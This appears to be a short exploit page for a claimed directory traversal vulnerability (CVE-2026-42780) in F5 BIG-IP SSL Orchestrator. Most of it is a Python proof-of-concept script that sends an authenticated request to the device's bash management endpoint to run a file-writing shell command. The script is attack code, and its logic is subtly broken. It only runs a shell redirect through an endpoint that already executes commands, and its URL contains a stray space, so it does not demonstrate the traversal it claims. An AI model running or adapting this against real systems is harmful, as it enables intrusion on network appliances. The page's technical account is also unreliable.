CVE-2026-42780 BIG-IP SSL Orchestrator 目录遍历漏洞

import requests # F5 BIG-IP SSL Orchestrator Directory Traversal PoC Concept # Target: Vulnerable version of BIG-IP SSL Orchestrator # Note: This requires High Privilege (PR:H) authentication token target_ip = "192.168.1.100" base_url = f"https://{target_ip}/mgmt/tm/ util/bash" auth_token = "<VALID_ADMIN_TOKEN>" headers = { "Content-Type": "application/json", "X-F5-Auth-Token": auth_token } # Attempt to overwrite a file using directory traversal # Payload uses '../' to escape the intended directory payload = { "command": "run", "utilCmdArgs": "-c 'echo pwned > ../../tmp/vulnerable_file.txt'" } try: # Sending the malicious request response = requests.post(base_url, json=payload, headers=headers, verify=False) if response.status_code == 200: print("[+] Payload executed successfully. File may be overwritten.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}")